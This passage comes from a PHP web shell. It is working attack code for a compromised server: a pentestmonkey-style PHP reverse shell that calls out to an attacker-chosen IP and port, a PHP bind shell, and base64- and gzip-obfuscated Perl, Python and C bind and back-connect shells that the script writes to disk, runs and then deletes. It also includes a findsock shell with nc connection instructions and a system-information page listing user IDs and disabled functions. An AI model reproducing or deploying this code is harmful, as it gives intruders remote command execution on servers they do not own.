  1412.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">compile findsock saving binary to: <input name="path" type="text" maxlength="500" size="10" value="./findsock"> <input name="p" type="hidden" value="b"><input type="submit" value="go"><input name="shellz" type="hidden" value="findsock"> <a href="#" onclick="showTooltip(3)" id="link3"> &gt;&gt; help &lt;&lt; </a>';
    1413. 

  1413.     echo '<div id="3" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
    1414. 

  1414.     echo "first save and compile findsock binary, then connect to this shell via nc and specify the path to binary in the request, e.g. if you've saved binary in current dir, make such request: <br><br>h4x0r@localhost$ nc -v ".$_SERVER['SERVER_NAME']." 80 <br> GET ".$_SERVER['SCRIPT_NAME']."?pfs&amp;path=".getcwd()." HTTP/1.0 <br> Host:".$_SERVER['SERVER_NAME']."  &lt;press_Enter&gt;<br>&lt;press_Enter&gt;<br><br>and if findsock will succeed, you'll see a shell: <br> sh-3.2$<br><br>use nc, not telnet! do not forget to specify the correct path! <br>additional info: <br>https://bugs.php.net/bug.php?id=38915<br>https://issues.apache.org/bugzilla/show_bug.cgi?id=46425<br>http://pentestmonkey.net/tools/web-shells/php-findsock-shell<br><br></div>";
    1415. 

  1415.     echo '</form><br><br>';
    1416. 

  1416.    }
    1417. 

  1417.   } //failcheck end
    1418. 

  1418.   if (!empty($_POST["shellz"])) {
    1419. 

  1419.    //code by security-teams.net
    1420. 

  1420.    $perlbdcode='#!'.search("perl",$failflag).'
    1421. 

  1421.    use IO::Socket::INET;
    1422. 

  1422.    $server = IO::Socket::INET->new(
    1423. 

  1423.    LocalPort => '.$_POST["port"].',';
    1424. 

  1424.    $perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
    1425. 

  1425.    //code by Michael Schierl
    1426. 

  1426.    $perlbccode='#!'.search("perl",$failflag);
    1427. 

  1427.    $perlbccode.="\n";
    1428. 

  1428.    $perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
    1429. 

  1429.    //author/license unknown
    1430. 

  1430.    $cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
    1431. 

  1431.    $cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
    1432. 

  1432.    $cbdcode.="\n";
    1433. 

  1433.    $cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
    1434. 

  1434.    //author/license unknown
    1435. 

  1435.    $cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
    1436. 

  1436.    // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    1437. 

  1437.    $findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
    1438. 

  1438.    //code by b374k
    1439. 

  1439.    $pybdcode="#!".search("python",$failflag)."\n";
    1440. 

  1440.    $pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
    1441. 

  1441.    //code by ont.rif
    1442. 

  1442.    $pyintserver="#!".search("python",$failflag)."\n";
    1443. 

  1443.    $pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
    1444. 

  1444.    $pyintserver.="host = \"".$_POST["ip"]."\"\n";
    1445. 

  1445.    $pyintserver.="port = ".$_POST["port"]."\n";
    1446. 

  1446.    $pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
    1447. 

  1447.    switch ($_POST["shellz"]) {
    1448. 

  1448.     case "phpremote":
    1449. 

  1449.     // code by pentestmonkey.net. license: GPLv2
    1450. 

  1450.      $ip=($_POST["ip"]);
    1451. 

  1451.      $port=($_POST["port"]);
    1452. 

  1452.      $chunk_size=1400;
    1453. 

  1453.      $write_a=null;
    1454. 

  1454.      $error_a=null;
    1455. 

  1455.      $shell='/bin/sh -i';
    1456. 

  1456.      $daemon = 0;
    1457. 

  1457.      function printit ($string) { if (!$daemon) { print "$string\n"; }}
    1458. 

  1458.      if (function_exists('pcntl_fork')) {
    1459. 

  1459.       $pid = pcntl_fork();
    1460. 

  1460.       if ($pid == -1) { printit("ERROR: Can't fork<br>"); exit(1); }
    1461. 

  1461.       if ($pid) { exit(0); }
    1462. 

  1462.       if (posix_setsid() == -1) { printit("Error: Can't setsid()<br>"); exit(1); }
    1463. 

  1463.       $daemon = 1;
    1464. 

  1464.      } else { printit("WARNING: Failed to daemonise!<br>"); }
    1465. 

  1465.      umask(0);
    1466. 

  1466.      $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    1467. 

  1467.      if (!$sock) { printit("$errstr ($errno)"); exit(1); }
    1468. 

  1468.      $process = proc_open($shell, $descriptorspec, $pipes);
    1469. 

  1469.      if (!is_resource($process)) { printit("ERROR: Can't spawn shell<br>"); exit(1); }
    1470. 

  1470.      stream_set_blocking($pipes[0], 0);
    1471. 

  1471.      stream_set_blocking($pipes[1], 0);
    1472. 

  1472.      stream_set_blocking($pipes[2], 0);
    1473. 

  1473.      stream_set_blocking($sock, 0);
    1474. 

  1474.      printit("Successfully opened reverse shell to $ip:$port<br>");
    1475. 

  1475.      while (1) {
    1476. 

  1476.       if (feof($sock)) { printit("ERROR: Shell connection terminated<br>");     break; }
    1477. 

  1477.       if (feof($pipes[1])) { printit("ERROR: Shell process terminated<br>"); break;     }
    1478. 

  1478.       $read_a = array($sock, $pipes[1], $pipes[2]);
    1479. 

  1479.       $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    1480. 

  1480.       if (in_array($sock, $read_a)) {
    1481. 

  1481.        $input = fread($sock, $chunk_size);
    1482. 

  1482.        fwrite($pipes[0], $input);
    1483. 

  1483.       }
    1484. 

  1484.       if (in_array($pipes[1], $read_a)) {
    1485. 

  1485.        $input = fread($pipes[1], $chunk_size);
    1486. 

  1486.        fwrite($sock, $input);
    1487. 

  1487.       }
    1488. 

  1488.       if (in_array($pipes[2], $read_a)) {
    1489. 

  1489.        $input = fread($pipes[2], $chunk_size);
    1490. 

  1490.        fwrite($sock, $input);
    1491. 

  1491.       }
    1492. 

  1492.      }
    1493. 

  1493.      fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
    1494. 

  1494.     //php backconnect end
    1495. 

  1495.     break;
    1496. 

  1496.     case "phplocal":
    1497. 

  1497.      // code by metasploit.com. license unknown, assuming BSD
    1498. 

  1498.      $port=$_POST["port"]; 
    1499. 

  1499.      $scl='socket_create_listen';
    1500. 

  1500.      if (function_enabled($scl)) {
    1501. 

  1501.       $sock=@$scl($port); 
    1502. 

  1502.      } else { 
    1503. 

  1503.       $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    1504. 

  1504.       $ret=@socket_bind($sock,0,$port);
    1505. 

  1505.      $ret=@socket_listen($sock,5); 
    1506. 

  1506.      }
    1507. 

  1507.      $msgsock=@socket_accept($sock);
    1508. 

  1508.      @socket_close($sock);
    1509. 

  1509.      while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
    1510. 

  1510.       $buffer = '';
    1511. 

  1511.       $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
    1512. 

  1512.       if (FALSE === $c) { break; }
    1513. 

  1513.       if (substr($c,0,3) == 'cd ') {
    1514. 

  1514.        chdir(substr($c,3,-1));
    1515. 

  1515.       } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
    1516. 

  1516.        break;
    1517. 

  1517.       } else {
    1518. 

  1518.        if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
    1519. 

  1519.        if (function_enabled('shell_exec')) {
    1520. 

  1520.         $buffer=shell_exec($c);
    1521. 

  1521.        } else if(function_enabled('passthru')) {
    1522. 

  1522.         ob_start();
    1523. 

  1523.         passthru($c);
    1524. 

  1524.         $buffer=ob_get_contents();
    1525. 

  1525.         ob_end_clean();
    1526. 

  1526.        } else if(function_enabled('system')) {
    1527. 

  1527.         ob_start();
    1528. 

  1528.         system($c);
    1529. 

  1529.         $buffer=ob_get_contents();
    1530. 

  1530.         ob_end_clean();
    1531. 

  1531.        } else if(function_enabled('exec')) {
    1532. 

  1532.         $buffer=array();
    1533. 

  1533.         exec($c,$buffer);
    1534. 

  1534.         $buffer=join(chr(10),$buffer).chr(10);
    1535. 

  1535.        } else if(function_enabled('proc_open')) {
    1536. 

  1536.         $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
    1537. 

  1537.         $buffer=NULL;
    1538. 

  1538.         while (!feof($pipes[1])) {
    1539. 

  1539.          $buffer.=fread($pipes[1],1024);
    1540. 

  1540.         }
    1541. 

  1541.        @proc_close($handle);     
    1542. 

  1542.        } else if(function_enabled('popen')) {
    1543. 

  1543.         $fp=popen($c,'r');
    1544. 

  1544.         $buffer=NULL;
    1545. 

  1545.         if (is_resource($fp)) { 
    1546. 

  1546.          while (!feof($fp)) {
    1547. 

  1547.           $buffer.=fread($fp,1024);
    1548. 

  1548.          }
    1549. 

  1549.         }
    1550. 

  1550.         @pclose($fp);
    1551. 

  1551.        }
    1552. 

  1552.       else { $buffer=0; }
    1553. 

  1553.       }
    1554. 

  1554.       @socket_write($msgsock,$buffer,strlen($buffer));
    1555. 

  1555.      }
    1556. 

  1556.      @socket_close($msgsock);
    1557. 

  1557.      echo "<br><br><font color=\"green\">phplocal done</font>"; 
    1558. 

  1558.     break;
    1559. 

  1559.     //phpbind end
    1560. 

  1560.     case "perllocal":
    1561. 

  1561.      $exec_path = trim($_POST['path']);
    1562. 

  1562.      ob_start();
    1563. 

  1563.      @sploent516();
    1564. 

  1564.      ob_end_clean();
    1565. 

  1565.      $fh=fopen($exec_path,'w');
    1566. 

  1566.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1567. 

  1567.      else { 
    1568. 

  1568.       fwrite($fh,$perlbdcode);
    1569. 

  1569.       fclose($fh);
    1570. 

  1570.       chmod($exec_path,0644);
    1571. 

  1571.       $c=search("perl",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
    1572. 

  1572.       run($c);
    1573. 

  1573.       echo "<br><br><font color=\"green\">perllocal done</font>";
    1574. 

  1574.      }
    1575. 

  1575.     //perl bind end
    1576. 

  1576.     break;
    1577. 

  1577.     case "perlremote":
    1578. 

  1578.      $exec_path=trim($_POST['path']);
    1579. 

  1579.      ob_start();
    1580. 

  1580.      @sploent516();
    1581. 

  1581.      ob_end_clean();
    1582. 

  1582.      $fh=fopen($exec_path,'w');
    1583. 

  1583.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1584. 

  1584.      else {
    1585. 

  1585.       fwrite($fh,$perlbccode);
    1586. 

  1586.       fclose($fh);
    1587. 

  1587.       chmod($exec_path,0644);
    1588. 

  1588.       $c=search("perl",$failflag).' '.$exec_path.' '.$_POST["ip"].' '.$_POST["port"].' && rm -f '.$exec_path.'';
    1589. 

  1589.       run($c);
    1590. 

  1590.       echo "<br><br><font color=\"green\">perlremote done</font>";
    1591. 

  1591.      }
    1592. 

  1592.     break;
    1593. 

  1593.     //perl backconnect end
    1594. 

  1594.     case "pylocal":
    1595. 

  1595.      $exec_path = trim($_POST['path']);
    1596. 

  1596.      ob_start();
    1597. 

  1597.      @sploent516();
    1598. 

  1598.      ob_end_clean();
    1599. 

  1599.      $fh=fopen($exec_path,'w');
    1600. 

  1600.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1601. 

  1601.      else { 
    1602. 

  1602.       fwrite($fh,$pybdcode);
    1603. 

  1603.       fclose($fh);
    1604. 

  1604.       chmod($exec_path,0644);
    1605. 

  1605.       $c=search("python",$failflag).' '.$exec_path.' -b '.$_POST["port"].' && rm -f '.$exec_path.'';
    1606. 

  1606.       run($c);
    1607. 

  1607.       echo "<br><br><font color=\"green\">pylocal done</font>";
    1608. 

  1608.      }
    1609. 

  1609.     //python bind end
    1610. 

  1610.     case "pyremote":
    1611. 

  1611.      $exec_path=trim($_POST['path']);
    1612. 

  1612.      ob_start();
    1613. 

  1613.      @sploent516();
    1614. 

  1614.      ob_end_clean();
    1615. 

  1615.      $fh=fopen($exec_path,'w');
    1616. 

  1616.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1617. 

  1617.      else {
    1618. 

  1618.       fwrite($fh,$pybdcode);
    1619. 

  1619.       fclose($fh);
    1620. 

  1620.       chmod($exec_path,0644);
    1621. 

  1621.       $c=search("python",$failflag).' '.$exec_path.' -r '.$_POST["port"].' '.$_POST["ip"].' && rm -f '.$exec_path.'';
    1622. 

  1622.       run($c);
    1623. 

  1623.       echo "<br><br><font color=\"green\">pyremote done</font>";
    1624. 

  1624.      }
    1625. 

  1625.     break;
    1626. 

  1626.     //python backconnect end
    1627. 

  1627.     case "pyint":
    1628. 

  1628.      $exec_path=trim($_POST['path']);
    1629. 

  1629.      ob_start();
    1630. 

  1630.      @sploent516();
    1631. 

  1631.      ob_end_clean();
    1632. 

  1632.      $fh=fopen($exec_path,'w');
    1633. 

  1633.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1634. 

  1634.      else {
    1635. 

  1635.       fwrite($fh,$pyintserver);
    1636. 

  1636.       fclose($fh);
    1637. 

  1637.       chmod($exec_path,0644);
    1638. 

  1638.       $c=search("python",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
    1639. 

  1639.       run($c);
    1640. 

  1640.       echo "<br><br><font color=\"green\">pyint done</font>";
    1641. 

  1641.      }
    1642. 

  1642.     break;
    1643. 

  1643.     //python interactive end
    1644. 

  1644.     case "clocal":
    1645. 

  1645.      $exec_path=trim($_POST['path']);
    1646. 

  1646.      ob_start();
    1647. 

  1647.      @sploent516();
    1648. 

  1648.      ob_end_clean();
    1649. 

  1649.      $fh=fopen($exec_path,"w");
    1650. 

  1650.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; } 
    1651. 

  1651.      else {
    1652. 

  1652.       fwrite($fh,$cbdcode);
    1653. 

  1653.       fclose($fh);
    1654. 

  1654.       $c=search("gcc",$failflag)." -w ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["port"]." | rm -f ".$exec_path."";
    1655. 

  1655.       run($c);
    1656. 

  1656.       echo "<br><br><font color=\"green\">clocal done</font>";
    1657. 

  1657.      }
    1658. 

  1658.     break;
    1659. 

  1659.     //C bind end
    1660. 

  1660.     case "cremote":
    1661. 

  1661.      $exec_path=trim($_POST['path']);
    1662. 

  1662.      ob_start();
    1663. 

  1663.      @sploent516();
    1664. 

  1664.      ob_end_clean();
    1665. 

  1665.      $fh=fopen($exec_path,"w");
    1666. 

  1666.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1667. 

  1667.      else {
    1668. 

  1668.       fwrite($fh,$cbccode);
    1669. 

  1669.       fclose($fh);
    1670. 

  1670.       $c=search("gcc",$failflag)." ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["ip"]." ".$_POST["port"]." | rm -f ".$exec_path."";
    1671. 

  1671.       run($c);
    1672. 

  1672.      }
    1673. 

  1673.     break;
    1674. 

  1674.     case "findsock":
    1675. 

  1675.      $fs_path=trim($_POST['path']);
    1676. 

  1676.      ob_start();
    1677. 

  1677.      @sploent516();
    1678. 

  1678.      ob_end_clean();
    1679. 

  1679.      $fh=fopen($fs_path.".c","w");
    1680. 

  1680.      if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
    1681. 

  1681.      else {
    1682. 

  1682.       fwrite($fh,$findsock);
    1683. 

  1683.       fclose($fh);
    1684. 

  1684.       $c=search("gcc",$failflag)." ".$fs_path.".c -o ".$fs_path." && rm -f ".$fs_path.".c";
    1685. 

  1685.       run($c);
    1686. 

  1686.       echo "<br>compiled, now connect to shell via nc and request ?pfs&amp;path=".$fs_path."<br>";
    1687. 

  1687.      }
    1688. 

  1688.     break;
    1689. 

  1689.    }
    1690. 

  1690.   }
    1691. 

  1691.   echo $pageend;
    1692. 

  1692.   break;
    1693. 

  1693. // --------------------------------------------- bind end; extras 
    1694. 

  1694.  case "e":
    1695. 

  1695.   if (empty($_POST["extraz"]) and $download != "1") {
    1696. 

  1696.    echo $title; 
    1697. 

  1697.    echo '<font color="blue">---> SysInfo</font><br>';
    1698. 

  1698.    echo '<br><a href="#" onclick="showTooltip(6)" id="link5"> &gt;&gt; show &lt;&lt; </a>
    1699. 

  1699.    <div id="6" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
    1700. 

  1700.    echo 'SERVER_ADDR: '.getenv('SERVER_ADDR').'<br>';
    1701. 

  1701.    echo 'REMOTE_ADDR: '.getenv('REMOTE_ADDR').'<br>';
    1702. 

  1702.    echo 'HTTP_X_FORWARDED_FOR: '.getenv('HTTP_X_FORWARDED_FOR').'<br>';
    1703. 

  1703.    echo 'HTTP_PROXY_CONNECTION: '.getenv('HTTP_PROXY_CONNECTION').'<br>';
    1704. 

  1704.    echo 'HTTP_VIA: '.getenv('HTTP_VIA').'<br>';
    1705. 

  1705.    echo 'HTTP_USER_AGENT: '.getenv('HTTP_USER_AGENT').'<br>';
    1706. 

  1706.    echo 'SERVER_SOFTWARE: '.getenv("SERVER_SOFTWARE").'<br>';
    1707. 

  1707.    echo "php API: ".php_sapi_name()."<br>";
    1708. 

  1708.    echo "php version: ".version()." (full: ".phpversion().")<br>";
    1709. 

  1709.    echo 'disable_functions: '.ini_get('disable_functions').'<br>';
    1710. 

  1710.    sploent516();
    1711. 

  1711.    echo "<br>";
    1712. 

  1712.    echo "current dir: ".getcwd()."<br>"; 
    1713. 

  1713.    if (function_enabled('php_uname')) {
    1714. 

  1714.     echo "php_uname: ".wordwrap(php_uname(),90,"<br>",1)."<br>";
    1715. 

  1715.    }
    1716. 

  1716.    if (function_enabled('posix_uname')) {
    1717. 

  1717.     echo "posix_uname: ";
    1718. 

  1718.     foreach(posix_uname() AS $key=>$value) {
    1719. 

  1719.      print $value." ";
    1720. 

  1720.     }
    1721. 

  1721.     echo "<br>";
    1722. 

  1722.    }
    1723. 

  1723.    echo "script owner: ";
    1724. 

  1724.    if (function_enabled('get_current_user')) {
    1725. 

  1725.     echo get_current_user();
    1726. 

  1726.    } else {
    1727. 

  1727.     echo "get_current_user() disabled!";
    1728. 

  1728.    }
    1729. 

  1729.    if (function_enabled('getmyuid')) {
    1730. 

  1730.     echo " || uid: ".getmyuid().",";
    1731. 

  1731.    } else {
    1732. 

  1732.     echo " getmyuid() disabled,";
    1733. 

  1733.    }
    1734. 

  1734.    if (function_enabled('getmygid')) {
    1735. 

  1735.     echo " gid: ".getmygid();
    1736. 

  1736.    } else {
    1737. 

  1737.     echo " getmygid disabled";
    1738. 

  1738.    }
    1739. 

  1739.    if (extension_loaded('posix')) {
    1740. 

  1740.     echo "<br>current user:";
    1741. 

  1741.     if (function_enabled('posix_getuid')) {
    1742. 

  1742.      if (function_enabled('posix_getpwuid')) { 
    1743. 

  1743.       $processUser = posix_getpwuid(posix_getuid());
    1744. 

  1744.       echo $processUser['name'];
    1745. 

  1745.      } else {
    1746. 

  1746.       echo " posix_getpwuid() disabled!";
    1747. 

  1747.      }
    1748. 

  1748.      echo " || uid: ".posix_getuid().",";
    1749. 

  1749.      if (function_enabled('posix_getgid')) {
    1750. 

  1750.       echo " gid: ".posix_getgid();
    1751. 

  1751.      } else {
    1752. 

  1752.       echo " posix_getgid() disabled";
    1753. 

  1753.      }
    1754. 

  1754.     } else {
    1755. 

  1755.      echo " posix_getuid() disabled!";
    1756. 

  1756.     }
    1757. 

  1757.     echo "<br>effective user:";
    1758. 

  1758.     if (function_enabled('posix_geteuid')) {
    1759. 

  1759.      if (function_enabled('posix_getpwuid')) { 
    1760. 

  1760.       $processUser = posix_getpwuid(posix_getuid());
    1761. 

  1761.       echo $processUser['name'];
    1762. 

  1762.      } else {
    1763. 

  1763.       echo " posix_getpwuid() disabled!";
    1764. 

  1764.      }
    1765. 

  1765.      echo " || euid: ".posix_geteuid();
    1766. 

  1766.      if (function_enabled('posix_getegid')) {
    1767. 

  1767.       echo " egid: ".posix_getegid();
    1768. 

  1768.      } else {
    1769. 

  1769.       echo ", posix_getegid() disabled";
    1770. 

  1770.      }
    1771. 

  1771.     } else {
    1772. 

  1772.      echo " posix_geteuid() disabled!";
    1773. 

  1773.     }
    1774. 

  1774.    } else {
    1775. 

  1775.     echo "<br>posix.so not loaded, can't get user information";
    1776. 

  1776.    }
    1777. 

  1777.    echo "</div><br><br>";
    1778. 

  1778.    echo '<font color="blue">---> Extraz</font><br><br>';
    1779. 

  1779.    if (!function_enabled('phpinfo')) { echo "fail, phpinfo() is disabled<br><br>"; 
    1780. 

  1780.    } else {
    1781. 

  1781.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="pi"><input type="submit" value="phpinfo()"></form><br>';
    1782. 

  1782.    }
    1783. 

  1783.    if(function_enabled('posix_getpwuid')) {
    1784. 

